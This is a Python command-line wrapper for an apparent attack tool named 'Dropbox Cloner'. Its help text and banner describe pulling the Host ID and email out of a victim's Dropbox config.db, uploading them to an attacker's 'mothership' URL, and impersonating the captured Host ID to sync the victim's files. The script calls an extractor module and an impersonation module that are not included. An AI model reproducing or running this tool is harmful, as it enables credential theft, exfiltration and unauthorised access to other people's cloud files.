#!/usr/bin/env python

import sys
from DropboxCloner import HostExtractor, Impersonator

__version__ = 'v0.2'
__authors__ = 'Moloch'

def banner():
    print '\n\t   --- [buffer]overflow Proudly Presents ----- '
    print '\t          _ _      ____ _                  '
    print '\t       __| | |__  / ___| | ___  _ __   ___ '
    print '\t      / _` | \'_ \\| |   | |/ _ \| \'_ \\ / _ \\'
    print '\t     | (_| | |_) | |___| | (_) | | | |  __/'
    print '\t      \__,_|_.__/ \____|_|\___/|_| |_|\___|'
    print '\t ======[ All Your Files Are Belong to Me ]======\n'

def help():
    banner()
    print ' The Dropbox Cloner -', __version__, 'by', __authors__
    print ' Usage: dbClone.exe [options]'
    print ' Options:'
    print '\t-i, --impersonate..Use a captured Host ID to sync the local system'
    print '\t-f, --file.........Set path to config.db, defaults to %appdata%\\Dropbox'
    print '\t-m, --mothership...Set mothership URL, uploads Host ID & Email via GET'
    print '\t-h, --help.........Display this helpful message'

def getArgument(token, arguments):
    index = 0
    for arg in arguments:
        if token in arg:
            return arguments[index + 1]
        index+=1

if __name__ == '__main__':
    filePath = None
    mothership = None
    if len(sys.argv) > 1:
        if sys.argv[1] == '--help' or sys.argv[1] == '-h':
            help()
            sys.exit()
        if '--mothership' in sys.argv or '-m' in sys.argv:
            mothership = getArgument('-m', sys.argv)
        if '--file' in sys.argv or '-f' in sys.argv:
            filePath = getArgument('-f', sys.argv)
    if '--impersonate' in sys.argv or '-i' in sys.argv:        
        Impersonator(filePath).executeAll()
    else:
        HostExtractor(filePath, mothership).executeAll()
